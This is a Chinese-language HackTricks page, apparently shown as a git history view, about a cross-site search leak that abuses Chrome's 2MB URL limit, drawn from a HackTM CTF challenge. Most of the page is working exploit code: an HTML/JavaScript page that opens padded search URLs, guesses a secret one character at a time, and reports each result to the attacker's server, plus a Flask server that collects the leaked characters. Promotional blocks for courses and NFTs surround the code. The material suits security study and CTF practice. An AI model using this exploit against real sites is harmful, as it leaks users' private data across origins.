hacktricks/pentesting-web/xs-search/url-max-length-client-side.md

92 lines
3.6 KiB
Markdown
Raw Normal View History

# URL最大长度-客户端
2023-03-05 22:20:47 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
2023-03-05 22:20:47 +00:00
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向**hacktricks仓库**https://github.com/carlospolop/hacktricks**和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**
2023-03-05 22:20:47 +00:00
</details>
来自[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
2023-03-05 22:20:47 +00:00
```html
<html>
<body></body>
<script>
2023-08-03 19:12:22 +00:00
(async () => {
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
const leak = async (char) => {
fetch("/?try=" + char)
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise(resolve => setTimeout(resolve, 50))
}
})()
2023-03-05 22:20:47 +00:00
</script>
</html>
```
2023-08-03 19:12:22 +00:00
服务器端:
2023-03-05 22:20:47 +00:00
```python
from flask import Flask, request
app = Flask(__name__)
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []
@app.route('/', methods=['GET'])
def index():
2023-08-03 19:12:22 +00:00
global chars
2023-03-05 22:20:47 +00:00
2023-08-03 19:12:22 +00:00
nope = request.args.get('nope', '')
if nope:
chars.append(nope)
2023-03-05 22:20:47 +00:00
2023-08-03 19:12:22 +00:00
remaining = [c for c in CHARSET if c not in chars]
2023-03-05 22:20:47 +00:00
2023-08-03 19:12:22 +00:00
print("Remaining: {}".format(remaining))
return "OK"
2023-03-05 22:20:47 +00:00
@app.route('/exploit.html', methods=['GET'])
def exploit():
2023-08-03 19:12:22 +00:00
return open('exploit.html', 'r').read()
2023-03-05 22:20:47 +00:00
if __name__ == '__main__':
2023-08-03 19:12:22 +00:00
app.run(host='0.0.0.0', port=1337)
2023-03-05 22:20:47 +00:00
```
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
2023-03-05 22:20:47 +00:00
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交PR来分享你的黑客技巧。
2023-03-05 22:20:47 +00:00
</details>